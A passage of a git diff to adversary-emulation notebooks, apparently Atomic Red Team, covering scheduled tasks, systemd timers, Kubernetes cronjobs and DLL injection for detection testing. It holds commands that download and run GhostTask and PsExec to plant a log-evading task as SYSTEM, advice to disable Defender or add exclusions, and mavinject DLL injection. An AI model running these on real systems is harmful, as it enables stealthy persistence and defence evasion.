must exist on disk at specified location (#{xml_path})\n\n##### Check Prereq Commands:\n```powershell\nif (Test-Path PathToAtomicsFolder\\T1053.005\\src\\T1053_05_SCTASK_HIDDEN_ATTRIB.xml) {exit 0} else {exit 1}\n\n```\n##### Get Prereq Commands:\n```powershell\nNew-Item -Type Directory (split-path PathToAtomicsFolder\\T1053.005\\src\\T1053_05_SCTASK_HIDDEN_ATTRIB.xml) -ErrorAction ignore | Out-Null\nInvoke-WebRequest \"https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1053.005/src/T1053_05_SCTASK_HIDDEN_ATTRIB.xml\" -OutFile \"PathToAtomicsFolder\\T1053.005\\src\\T1053_05_SCTASK_HIDDEN_ATTRIB.xml\"\n\n```" + "source": "### Atomic Test #8 - Import XML Schedule Task with Hidden Attribute\nCreate an scheduled task that executes calc.exe after user login from XML that contains hidden setting attribute. \nThis technique was seen several times in tricbot malware and also with the targetted attack campaigne the industroyer2.\n\n**Supported Platforms:** windows\n\nElevation Required (e.g. root or admin)\n#### Dependencies: Run with `powershell`!\n##### Description: File to copy must exist on disk at specified location (#{xml_path})\n\n##### Check Prereq Commands:\n```powershell\nif (Test-Path \"PathToAtomicsFolder\\T1053.005\\src\\T1053_05_SCTASK_HIDDEN_ATTRIB.xml\") {exit 0} else {exit 1}\n\n```\n##### Get Prereq Commands:\n```powershell\nNew-Item -Type Directory (split-path \"PathToAtomicsFolder\\T1053.005\\src\\T1053_05_SCTASK_HIDDEN_ATTRIB.xml\") -ErrorAction ignore | Out-Null\nInvoke-WebRequest \"https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1053.005/src/T1053_05_SCTASK_HIDDEN_ATTRIB.xml\" -OutFile \"PathToAtomicsFolder\\T1053.005\\src\\T1053_05_SCTASK_HIDDEN_ATTRIB.xml\"\n\n```" }, { "cell_type": "code", "execution_count": null, - "id": "992f6918", + "id": "45320f6a", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1053.005 -TestNumbers 8 -GetPreReqs" }, { "cell_type": "markdown", - "id": "157e7d62", + "id": "9e44115f", "metadata": {}, "source": [ "#### Attack Commands: Run with `powershell`\n", @@ -302,28 +302,28 @@ { "cell_type": "code", "execution_count": null, - "id": "00c9ac38", + "id": "e911ba48", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1053.005 -TestNumbers 8" }, { "cell_type": "markdown", - "id": "7bfbc5cb", + "id": "4779b8f1", "metadata": {}, "source": "#### Cleanup: \n```powershell\nUnregister-ScheduledTask -TaskName \"atomic red team\" -confirm:$false >$null 2>&1\n```" }, { "cell_type": "code", "execution_count": null, - "id": "d1183194", + "id": "0f6b25e2", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1053.005 -TestNumbers 8 -Cleanup" }, { "cell_type": "markdown", - "id": "321ffbf9", + "id": "9a41f8d7", "metadata": {}, "source": [ "### Atomic Test #9 - PowerShell Modify A Scheduled Task", @@ -337,28 +337,73 @@ { "cell_type": "code", "execution_count": null, - "id": "90a397ff", + "id": "2dc7dc3a", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1053.005 -TestNumbers 9" }, { "cell_type": "markdown", - "id": "001c10c3", + "id": "881bec47", "metadata": {}, "source": "#### Cleanup: \n```powershell\nUnregister-ScheduledTask -TaskName \"AtomicTaskModifed\" -confirm:$false >$null 2>&1\n```" }, { "cell_type": "code", "execution_count": null, - "id": "027be299", + "id": "08ad6ec4", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1053.005 -TestNumbers 9 -Cleanup" }, { "cell_type": "markdown", - "id": "e7fab138", + "id": "887f4615", + "metadata": {}, + "source": "### Atomic Test #10 - Scheduled Task (\"Ghost Task\") via Registry Key Manipulation\nCreate a scheduled task through manipulation of registry keys. This procedure is implemented using the [GhostTask](https://github.com/netero1010/GhostTask) utility. By manipulating registry keys under HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Schedule\\TaskCache\\Tree, the tool creates user-specified scheduled tasks without a corresponding Windows Event 4698, which is logged when scheduled tasks are created through conventional means.\nThis requires a download of the GhostTask binary, which must be run as NT Authority\\SYSTEM. Upon successful execution of this test, a scheduled task will be set to run at logon which launches notepad.exe or runs a user-specified command.\nFor further exploration of this procedure and guidance for hunting and detection, see [Hunting G-G-G-GhostTasks!](https://medium.com/p/154b50ab6a78).\n\n**Supported Platforms:** windows\n\nElevation Required (e.g. root or admin)\n#### Dependencies: Run with `powershell`!\n##### Description: PsExec tool from Sysinternals must exist in the ExternalPayloads directory\n\n##### Check Prereq Commands:\n```cmd\nif (Test-Path \"PathToAtomicsFolder\\..\\ExternalPayloads\\PsExec.exe\") { exit 0} else { exit 1}\n\n```\n##### Get Prereq Commands:\n```cmd\nNew-Item -Type Directory \"PathToAtomicsFolder\\..\\ExternalPayloads\\\" -ErrorAction Ignore -Force | Out-Null\nInvoke-WebRequest \"https://download.sysinternals.com/files/PSTools.zip\" -OutFile \"PathToAtomicsFolder\\..\\ExternalPayloads\\PsTools.zip\"\nExpand-Archive \"PathToAtomicsFolder\\..\\ExternalPayloads\\PsTools.zip\" \"PathToAtomicsFolder\\..\\ExternalPayloads\\PsTools\" -Force\nCopy-Item \"PathToAtomicsFolder\\..\\ExternalPayloads\\PsTools\\PsExec.exe\" \"PathToAtomicsFolder\\..\\ExternalPayloads\\PsExec.exe\" -Force\n\n```\n##### Description: GhostTask.exe tool from netero101 must exist in the ExternalPayloads directory. This tool may be quarantined by windows defender; disable windows defender real-time protection to fix it or add the ExternalPayloads directory as an exclusion, using a command like `Add-MpPreference -ExclusionPath \"PathToAtomicsFolder\\..\\ExternalPayloads\\\"`\n\n##### Check Prereq Commands:\n```cmd\nif (Test-Path \"PathToAtomicsFolder\\..\\ExternalPayloads\\GhostTask.exe\") { exit 0} else { exit 1}\n\n```\n##### Get Prereq Commands:\n```cmd\nNew-Item -Type Directory \"PathToAtomicsFolder\\..\\ExternalPayloads\\\" -ErrorAction Ignore -Force | Out-Null\nInvoke-WebRequest \"https://github.com/netero1010/GhostTask/releases/download/1.0/GhostTask.exe\" -OutFile \"PathToAtomicsFolder\\..\\ExternalPayloads\\GhostTask.exe\"\n\n```" + }, + { + "cell_type": "code", + "execution_count": null, + "id": "5227906f", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1053.005 -TestNumbers 10 -GetPreReqs" + }, + { + "cell_type": "markdown", + "id": "f53a7ed6", + "metadata": {}, + "source": [ + "#### Attack Commands: Run with `command_prompt`\n", + "```command_prompt\n\"PathToAtomicsFolder\\..\\ExternalPayloads\\PsExec.exe\" \\\\localhost -accepteula -s \"cmd.exe\"\n\"PathToAtomicsFolder\\..\\ExternalPayloads\\GhostTask.exe\" \\\\localhost add lilghostie \"cmd.exe\" \"/c notepad.exe\" $env:USERDOMAIN + '\\' + $env:USERNAME logon\n```" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "id": "2d42b2e0", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1053.005 -TestNumbers 10" + }, + { + "cell_type": "markdown", + "id": "2445269e", + "metadata": {}, + "source": "#### Cleanup: \n```cmd\n\"PathToAtomicsFolder\\..\\ExternalPayloads\\PsExec.exe\" \\\\localhost -accepteula -s \"cmd.exe\"\n\"PathToAtomicsFolder\\..\\ExternalPayloads\\GhostTask.exe\" \\\\localhost delete lilghostie > nul```" + }, + { + "cell_type": "code", + "execution_count": null, + "id": "2361ac15", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1053.005 -TestNumbers 10 -Cleanup" + }, + { + "cell_type": "markdown", + "id": "2a7db6ed", "metadata": {}, "source": "## Detection\nMonitor process execution from the svchost.exe in Windows 10 and the Windows Task Scheduler taskeng.exe for older versions of Windows. (Citation: Twitter Leoloobeek Scheduled Task) If scheduled tasks are not used for persistence, then the adversary is likely to remove the task when the action is complete. Monitor Windows Task Scheduler stores in %systemroot%\\System32\\Tasks for change entries related to scheduled tasks that do not correlate with known software, patch cycles, etc.\n\nConfigure event logging for scheduled task creation and changes by enabling the \"Microsoft-Windows-TaskScheduler/Operational\" setting within the event logging service. (Citation: TechNet Forum Scheduled Task Operational Setting) Several events will then be logged on scheduled task activity, including: (Citation: TechNet Scheduled Task Events)(Citation: Microsoft Scheduled Task Events Win10)\n\n* Event ID 106 on Windows 7, Server 2008 R2 - Scheduled task registered\n* Event ID 140 on Windows 7, Server 2008 R2 / 4702 on Windows 10, Server 2016 - Scheduled task updated\n* Event ID 141 on Windows 7, Server 2008 R2 / 4699 on Windows 10, Server 2016 - Scheduled task deleted\n* Event ID 4698 on Windows 10, Server 2016 - Scheduled task created\n* Event ID 4700 on Windows 10, Server 2016 - Scheduled task enabled\n* Event ID 4701 on Windows 10, Server 2016 - Scheduled task disabled\n\nTools such as Sysinternals Autoruns may also be used to detect system changes that could be attempts at persistence, including listing current scheduled tasks. (Citation: TechNet Autoruns)\n\nRemote access tools with built-in features may interact directly with the Windows API to perform these functions outside of typical system utilities. Tasks may also be created through Windows system management tools such as Windows Management Instrumentation and PowerShell, so additional logging may need to be configured to gather the appropriate data." } @@ -366,13 +411,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/privilege-escalation/T1053.006.ipynb b/playbook/tactics/privilege-escalation/T1053.006.ipynb index 1fdf10a2..f3e095fc 100644 --- a/playbook/tactics/privilege-escalation/T1053.006.ipynb +++ b/playbook/tactics/privilege-escalation/T1053.006.ipynb @@ -2,19 +2,19 @@ "cells": [ { "cell_type": "markdown", - "id": "cf8d99d3", + "id": "e4fa01f8", "metadata": {}, - "source": "# T1053.006 - Systemd Timers\nAdversaries may abuse systemd timers to perform task scheduling for initial or recurring execution of malicious code. Systemd timers are unit files with file extension .timer that control services. Timers can be set to run on a calendar event or after a time span relative to a starting point. They can be used as an alternative to [Cron](https://attack.mitre.org/techniques/T1053/003) in Linux environments.(Citation: archlinux Systemd Timers Aug 2020) Systemd timers may be activated remotely via the systemctl command line utility, which operates over [SSH](https://attack.mitre.org/techniques/T1021/004).(Citation: Systemd Remote Control)\n\nEach .timer file must have a corresponding .service file with the same name, e.g., example.timer and example.service. .service files are [Systemd Service](https://attack.mitre.org/techniques/T1543/002) unit files that are managed by the systemd system and service manager.(Citation: Linux man-pages: systemd January 2014) Privileged timers are written to /etc/systemd/system/ and /usr/lib/systemd/system while user level are written to ~/.config/systemd/user/.\n\nAn adversary may use systemd timers to execute malicious code at system startup or on a scheduled basis for persistence.(Citation: Arch Linux Package Systemd Compromise BleepingComputer 10JUL2018)(Citation: gist Arch package compromise 10JUL2018)(Citation: acroread package compromised Arch Linux Mail 8JUL2018) Timers installed using privileged paths may be used to maintain root level persistence. Adversaries may also install user level timers to achieve user level persistence." + "source": "# T1053.006 - Systemd Timers\nAdversaries may abuse systemd timers to perform task scheduling for initial or recurring execution of malicious code. Systemd timers are unit files with file extension .timer that control services. Timers can be set to run on a calendar event or after a time span relative to a starting point. They can be used as an alternative to [Cron](https://attack.mitre.org/techniques/T1053/003) in Linux environments.(Citation: archlinux Systemd Timers Aug 2020) Systemd timers may be activated remotely via the systemctl command line utility, which operates over [SSH](https://attack.mitre.org/techniques/T1021/004).(Citation: Systemd Remote Control)\n\nEach .timer file must have a corresponding .service file with the same name, e.g., example.timer and example.service. .service files are [Systemd Service](https://attack.mitre.org/techniques/T1543/002) unit files that are managed by the systemd system and service manager.(Citation: Linux man-pages: systemd January 2014) Privileged timers are written to /etc/systemd/system/ and /usr/lib/systemd/system while user level are written to ~/.config/systemd/user/.\n\nAn adversary may use systemd timers to execute malicious code at system startup or on a scheduled basis for persistence.(Citation: Arch Linux Package Systemd Compromise BleepingComputer 10JUL2018)(Citation: gist Arch package compromise 10JUL2018)(Citation: acroread package compromised Arch Linux Mail 8JUL2018) Timers installed using privileged paths may be used to maintain root level persistence. Adversaries may also install user level timers to achieve user level persistence.(Citation: Falcon Sandbox smp: 28553b3a9d)" }, { "cell_type": "markdown", - "id": "5ba86417", + "id": "d935ebdd", "metadata": {}, "source": "## Atomic Tests" }, { "cell_type": "markdown", - "id": "9b71c45d", + "id": "bf7d4364", "metadata": {}, "source": [ "### Atomic Test #1 - Create Systemd Service and Timer", @@ -27,42 +27,42 @@ { "cell_type": "code", "execution_count": null, - "id": "fe1e97bc", + "id": "f9a47d5f", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1053.006 -TestNumbers 1" }, { "cell_type": "markdown", - "id": "107f7592", + "id": "8daf9cdc", "metadata": {}, "source": "#### Cleanup: \n```bash\nsystemctl stop art-timer.timer\nsystemctl disable art-timer.timer\nrm /etc/systemd/system/art-timer.service\nrm /etc/systemd/system/art-timer.timer\nsystemctl daemon-reload\n```" }, { "cell_type": "code", "execution_count": null, - "id": "5fae3b32", + "id": "a25d09b0", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1053.006 -TestNumbers 1 -Cleanup" }, { "cell_type": "markdown", - "id": "7371c48c", + "id": "40db2ce4", "metadata": {}, "source": "### Atomic Test #2 - Create a user level transient systemd service and timer\nSchedule a user level transient task (will not survive a reboot) without having to create the .timer or .service files by using the systemd-run command. \n\n**Supported Platforms:** linux\n\nElevation Required (e.g. root or admin)\n#### Dependencies: Run with `sh`!\n##### Description: Check if systemd-run exists on the machine\n\n##### Check Prereq Commands:\n```sh\nif [ -x \"$(command -v systemd-run)\" ]; then exit 0; else exit 1; fi;\n\n```\n##### Get Prereq Commands:\n```sh\necho \"Install systemd on the machine.\"; exit 1;\n\n```" }, { "cell_type": "code", "execution_count": null, - "id": "7857d3e7", + "id": "28558591", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1053.006 -TestNumbers 2 -GetPreReqs" }, { "cell_type": "markdown", - "id": "382c678d", + "id": "8a7748ab", "metadata": {}, "source": [ "#### Attack Commands: Run with `sh`\n", @@ -72,42 +72,42 @@ { "cell_type": "code", "execution_count": null, - "id": "246684b1", + "id": "6e6fc59f", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1053.006 -TestNumbers 2" }, { "cell_type": "markdown", - "id": "4f68c5ff", + "id": "5d975dc6", "metadata": {}, "source": "#### Cleanup: \n```sh\nsystemctl --user stop Atomic-Red-Team.service\nsystemctl --user stop Atomic-Red-Team.timer\nrm /tmp/log\n```" }, { "cell_type": "code", "execution_count": null, - "id": "bb27b1fc", + "id": "b19eaabf", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1053.006 -TestNumbers 2 -Cleanup" }, { "cell_type": "markdown", - "id": "cfe3227d", + "id": "58b8d150", "metadata": {}, "source": "### Atomic Test #3 - Create a system level transient systemd service and timer\nSchedule a system level transient task (will not survive a reboot) without having to create the .timer or .service files by using the systemd-run command. \n\n**Supported Platforms:** linux\n\nElevation Required (e.g. root or admin)\n#### Dependencies: Run with `sh`!\n##### Description: Check if systemd-run exists on the machine\n\n##### Check Prereq Commands:\n```sh\nif [ -x \"$(command -v systemd-run)\" ]; then exit 0; else exit 1; fi;\n\n```\n##### Get Prereq Commands:\n```sh\necho \"Install systemd on the machine.\"; exit 1;\n\n```" }, { "cell_type": "code", "execution_count": null, - "id": "d3db074b", + "id": "6d3c2ded", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1053.006 -TestNumbers 3 -GetPreReqs" }, { "cell_type": "markdown", - "id": "4a46e830", + "id": "06c66e17", "metadata": {}, "source": [ "#### Attack Commands: Run with `sh`\n", @@ -117,28 +117,28 @@ { "cell_type": "code", "execution_count": null, - "id": "9ab16a37", + "id": "b49b6e72", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1053.006 -TestNumbers 3" }, { "cell_type": "markdown", - "id": "7ac50186", + "id": "695b1b3a", "metadata": {}, "source": "#### Cleanup: \n```sh\nsystemctl stop Atomic-Red-Team.service\nsystemctl stop Atomic-Red-Team.timer\nrm /tmp/log\n```" }, { "cell_type": "code", "execution_count": null, - "id": "100895ce", + "id": "ca8ffdfb", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1053.006 -TestNumbers 3 -Cleanup" }, { "cell_type": "markdown", - "id": "d4ed600a", + "id": "475a190e", "metadata": {}, "source": "## Detection\nSystemd timer unit files may be detected by auditing file creation and modification events within the /etc/systemd/system, /usr/lib/systemd/system/, and ~/.config/systemd/user/ directories, as well as associated symbolic links. Suspicious processes or scripts spawned in this manner will have a parent process of \u2018systemd\u2019, a parent process ID of 1, and will usually execute as the \u2018root\u2019 user.\n\nSuspicious systemd timers can also be identified by comparing results against a trusted system baseline. Malicious systemd timers may be detected by using the systemctl utility to examine system wide timers: systemctl list-timers \u2013all. Analyze the contents of corresponding .service files present on the file system and ensure that they refer to legitimate, expected executables.\n\nAudit the execution and command-line arguments of the 'systemd-run' utility as it may be used to create timers.(Citation: archlinux Systemd Timers Aug 2020)" } @@ -146,13 +146,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/privilege-escalation/T1053.007.ipynb b/playbook/tactics/privilege-escalation/T1053.007.ipynb index e00a6b7d..cb8ee3ae 100644 --- a/playbook/tactics/privilege-escalation/T1053.007.ipynb +++ b/playbook/tactics/privilege-escalation/T1053.007.ipynb @@ -2,33 +2,33 @@ "cells": [ { "cell_type": "markdown", - "id": "6bf532d3", + "id": "b8031ff2", "metadata": {}, "source": "# T1053.007 - Container Orchestration Job\nAdversaries may abuse task scheduling functionality provided by container orchestration tools such as Kubernetes to schedule deployment of containers configured to execute malicious code. Container orchestration jobs run these automated tasks at a specific date and time, similar to cron jobs on a Linux system. Deployments of this type can also be configured to maintain a quantity of containers over time, automating the process of maintaining persistence within a cluster.\n\nIn Kubernetes, a CronJob may be used to schedule a Job that runs one or more containers to perform specific tasks.(Citation: Kubernetes Jobs)(Citation: Kubernetes CronJob) An adversary therefore may utilize a CronJob to schedule deployment of a Job that executes malicious code in various nodes within a cluster.(Citation: Threat Matrix for Kubernetes)" }, { "cell_type": "markdown", - "id": "a7035809", + "id": "1826dcdd", "metadata": {}, "source": "## Atomic Tests" }, { "cell_type": "markdown", - "id": "22357b49", + "id": "e65f9a63", "metadata": {}, "source": "### Atomic Test #1 - ListCronjobs\nKubernetes Job is a controller that creates one or more pods and ensures that a specified number of them successfully terminate. Kubernetes Job can be used to run containers that perform finite tasks for batch jobs. Kubernetes CronJob is used to schedule Jobs. Attackers may use Kubernetes CronJob for scheduling execution of malicious code that would run as a container in the cluster.\n\n**Supported Platforms:** containers\n\nElevation Required (e.g. root or admin)\n#### Dependencies: Run with `bash`!\n##### Description: kubectl must be installed\n\n##### Check Prereq Commands:\n```bash\nwhich kubectl\n\n```\n##### Get Prereq Commands:\n```bash\necho \"kubectl must be installed manually\"\n\n```" }, { "cell_type": "code", "execution_count": null, - "id": "c7e5e2cb", + "id": "e0088172", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1053.007 -TestNumbers 1 -GetPreReqs" }, { "cell_type": "markdown", - "id": "c3888115", + "id": "4a25f8ec", "metadata": {}, "source": [ "#### Attack Commands: Run with `bash`\n", @@ -38,28 +38,28 @@ { "cell_type": "code", "execution_count": null, - "id": "6d40d581", + "id": "167edd14", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1053.007 -TestNumbers 1" }, { "cell_type": "markdown", - "id": "3556cdca", + "id": "19347128", "metadata": {}, "source": "### Atomic Test #2 - CreateCronjob\nKubernetes Job is a controller that creates one or more pods and ensures that a specified number of them successfully terminate. Kubernetes Job can be used to run containers that perform finite tasks for batch jobs. Kubernetes CronJob is used to schedule Jobs. Attackers may use Kubernetes CronJob for scheduling execution of malicious code that would run as a container in the cluster.\n\n**Supported Platforms:** containers\n\nElevation Required (e.g. root or admin)\n#### Dependencies: Run with `bash`!\n##### Description: kubectl must be installed\n\n##### Check Prereq Commands:\n```bash\nwhich kubectl\n\n```\n##### Get Prereq Commands:\n```bash\necho \"kubectl must be installed manually\"\n\n```" }, { "cell_type": "code", "execution_count": null, - "id": "9bcf510c", + "id": "749777c5", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1053.007 -TestNumbers 2 -GetPreReqs" }, { "cell_type": "markdown", - "id": "403bc656", + "id": "e8517029", "metadata": {}, "source": [ "#### Attack Commands: Run with `bash`\n", @@ -69,28 +69,28 @@ { "cell_type": "code", "execution_count": null, - "id": "da3ef89b", + "id": "fd07436a", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1053.007 -TestNumbers 2" }, { "cell_type": "markdown", - "id": "e7479c07", + "id": "f4c901bc", "metadata": {}, "source": "#### Cleanup: \n```bash\nkubectl delete cronjob art -n default\n```" }, { "cell_type": "code", "execution_count": null, - "id": "5826591d", + "id": "ce330b48", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1053.007 -TestNumbers 2 -Cleanup" }, { "cell_type": "markdown", - "id": "7641b518", + "id": "60adafd0", "metadata": {}, "source": "## Detection\nMonitor for the anomalous creation of scheduled jobs in container orchestration environments. Use logging agents on Kubernetes nodes and retrieve logs from sidecar proxies for application and resource pods to monitor malicious container orchestration job deployments. " } @@ -98,13 +98,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/privilege-escalation/T1053.ipynb b/playbook/tactics/privilege-escalation/T1053.ipynb index a9093f7b..e0f74f6b 100644 --- a/playbook/tactics/privilege-escalation/T1053.ipynb +++ b/playbook/tactics/privilege-escalation/T1053.ipynb @@ -2,25 +2,25 @@ "cells": [ { "cell_type": "markdown", - "id": "75a1c8d1", + "id": "b66d5643", "metadata": {}, "source": "# T1053 - Scheduled Task/Job\nAdversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically may require being a member of an admin or otherwise privileged group on the remote system.(Citation: TechNet Task Scheduler Security)\n\nAdversaries may use task scheduling to execute programs at system startup or on a scheduled basis for persistence. These mechanisms can also be abused to run a process under the context of a specified account (such as one with elevated permissions/privileges). Similar to [System Binary Proxy Execution](https://attack.mitre.org/techniques/T1218), adversaries have also abused task scheduling to potentially mask one-time execution under a trusted system process.(Citation: ProofPoint Serpent)" }, { "cell_type": "markdown", - "id": "f09d8105", + "id": "04b69c15", "metadata": {}, "source": "## Atomic Tests:\nCurrently, no tests are available for this technique." }, { "cell_type": "markdown", - "id": "ae8d4ec1", + "id": "0d9b577d", "metadata": {}, "source": "## Detection\nMonitor scheduled task creation from common utilities using command-line invocation. Legitimate scheduled tasks may be created during installation of new software or through system administration functions. Look for changes to tasks that do not correlate with known software, patch cycles, etc. \n\nSuspicious program execution through scheduled tasks may show up as outlier processes that have not been seen before when compared against historical data. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement." }, { "cell_type": "markdown", - "id": "e1110b88", + "id": "9bb71909", "metadata": {}, "source": "\n## Shield Active Defense\n### Admin Access \n Modify a user's administrative privileges.\n \n\n Changing the target system to allow or disallow users to perform tasks requiring administrator level permissions gives the defender leverage in inhibiting or facilitating attacks. The procedures for changing these permissions vary across different operating and software systems.\n#### Opportunity\nThere is an opportunity to study the adversary and collect first-hand observations about them and their tools.\n#### Use Case\nA defender can enable Admin Access on a system to see if the adversary utilizes that access to create scheduled tasks to launch their malware or tools.\n#### Procedures\nRemove an account's administrative access from a system or service to require an adversary to reveal techniques for elevating privileges in order to accomplish certain tasks.\nGrant an account administrative access to a system or service to enable an adversary to take advantage of those privileges if they compromise the system or service.\n" } @@ -28,13 +28,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/privilege-escalation/T1055.001.ipynb b/playbook/tactics/privilege-escalation/T1055.001.ipynb index 66cf90fa..952c5f54 100644 --- a/playbook/tactics/privilege-escalation/T1055.001.ipynb +++ b/playbook/tactics/privilege-escalation/T1055.001.ipynb @@ -2,50 +2,50 @@ "cells": [ { "cell_type": "markdown", - "id": "c1884799", + "id": "9e09865b", "metadata": {}, "source": "# T1055.001 - Dynamic-link Library Injection\nAdversaries may inject dynamic-link libraries (DLLs) into processes in order to evade process-based defenses as well as possibly elevate privileges. DLL injection is a method of executing arbitrary code in the address space of a separate live process. \n\nDLL injection is commonly performed by writing the path to a DLL in the virtual address space of the target process before loading the DLL by invoking a new thread. The write can be performed with native Windows API calls such as VirtualAllocEx and WriteProcessMemory, then invoked with CreateRemoteThread (which calls the LoadLibrary API responsible for loading the DLL). (Citation: Elastic Process Injection July 2017) \n\nVariations of this method such as reflective DLL injection (writing a self-mapping DLL into a process) and memory module (map DLL when writing into process) overcome the address relocation issue as well as the additional APIs to invoke execution (since these methods load and execute the files in memory by manually preforming the function of LoadLibrary).(Citation: Elastic HuntingNMemory June 2017)(Citation: Elastic Process Injection July 2017) \n\nAnother variation of this method, often referred to as Module Stomping/Overloading or DLL Hollowing, may be leveraged to conceal injected code within a process. This method involves loading a legitimate DLL into a remote process then manually overwriting the module's AddressOfEntryPoint before starting a new thread in the target process.(Citation: Module Stomping for Shellcode Injection) This variation allows attackers to hide malicious injected code by potentially backing its execution with a legitimate DLL file on disk.(Citation: Hiding Malicious Code with Module Stomping) \n\nRunning code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via DLL injection may also evade detection from security products since the execution is masked under a legitimate process. " }, { "cell_type": "markdown", - "id": "5769dac1", + "id": "996527ac", "metadata": {}, "source": "## Atomic Tests" }, { "cell_type": "markdown", - "id": "b924ff75", + "id": "4794e5a8", "metadata": {}, - "source": "### Atomic Test #1 - Process Injection via mavinject.exe\nWindows 10 Utility To Inject DLLS.\n\nUpon successful execution, powershell.exe will download T1055.dll to disk. Powershell will then spawn mavinject.exe to perform process injection in T1055.dll.\nWith default arguments, expect to see a MessageBox, with notepad's icon in taskbar.\n\n**Supported Platforms:** windows\n\nElevation Required (e.g. root or admin)\n#### Dependencies: Run with `powershell`!\n##### Description: Utility to inject must exist on disk at specified location (#{dll_payload})\n\n##### Check Prereq Commands:\n```powershell\nif (Test-Path PathToAtomicsFolder\\T1055.001\\src\\x64\\T1055.001.dll) {exit 0} else {exit 1}\n\n```\n##### Get Prereq Commands:\n```powershell\nNew-Item -Type Directory (split-path PathToAtomicsFolder\\T1055.001\\src\\x64\\T1055.001.dll) -ErrorAction ignore | Out-Null\nInvoke-WebRequest \"https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1055.001/src/x64/T1055.001.dll\" -OutFile \"PathToAtomicsFolder\\T1055.001\\src\\x64\\T1055.001.dll\"\n\n```" + "source": "### Atomic Test #1 - Process Injection via mavinject.exe\nWindows 10 Utility To Inject DLLS.\n\nUpon successful execution, powershell.exe will download T1055.dll to disk. Powershell will then spawn mavinject.exe to perform process injection in T1055.dll.\nWith default arguments, expect to see a MessageBox, with notepad's icon in taskbar.\n\n**Supported Platforms:** windows\n\nElevation Required (e.g. root or admin)\n#### Dependencies: Run with `powershell`!\n##### Description: Utility to inject must exist on disk at specified location (#{dll_payload})\n\n##### Check Prereq Commands:\n```powershell\nif (Test-Path \"PathToAtomicsFolder\\T1055.001\\src\\x64\\T1055.001.dll\") {exit 0} else {exit 1}\n\n```\n##### Get Prereq Commands:\n```powershell\nNew-Item -Type Directory (split-path \"PathToAtomicsFolder\\T1055.001\\src\\x64\\T1055.001.dll\") -ErrorAction ignore | Out-Null\nInvoke-WebRequest \"https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1055.001/src/x64/T1055.001.dll\" -OutFile \"PathToAtomicsFolder\\T1055.001\\src\\x64\\T1055.001.dll\"\n\n```" }, { "cell_type": "code", "execution_count": null, - "id": "e67a19da", + "id": "b5c63f2c", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1055.001 -TestNumbers 1 -GetPreReqs" }, { "cell_type": "markdown", - "id": "f9ce8e67", + "id": "c155f4d9", "metadata": {}, "source": [ "#### Attack Commands: Run with `powershell`\n", - "```powershell\n$mypid = (Start-Process notepad -PassThru).id\nmavinject $mypid /INJECTRUNNING PathToAtomicsFolder\\T1055.001\\src\\x64\\T1055.001.dll\nStop-Process -processname notepad\n```" + "```powershell\n$mypid = (Start-Process notepad -PassThru).id\nmavinject $mypid /INJECTRUNNING \"PathToAtomicsFolder\\T1055.001\\src\\x64\\T1055.001.dll\"\nStop-Process -processname notepad\n```" ] }, { "cell_type": "code", "execution_count": null, - "id": "cba089b6", + "id": "19a2675e", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1055.001 -TestNumbers 1" }, { "cell_type": "markdown", - "id": "d63dbadf", + "id": "d947b47b", "metadata": {}, "source": [ "### Atomic Test #2 - WinPwn - Get SYSTEM shell - 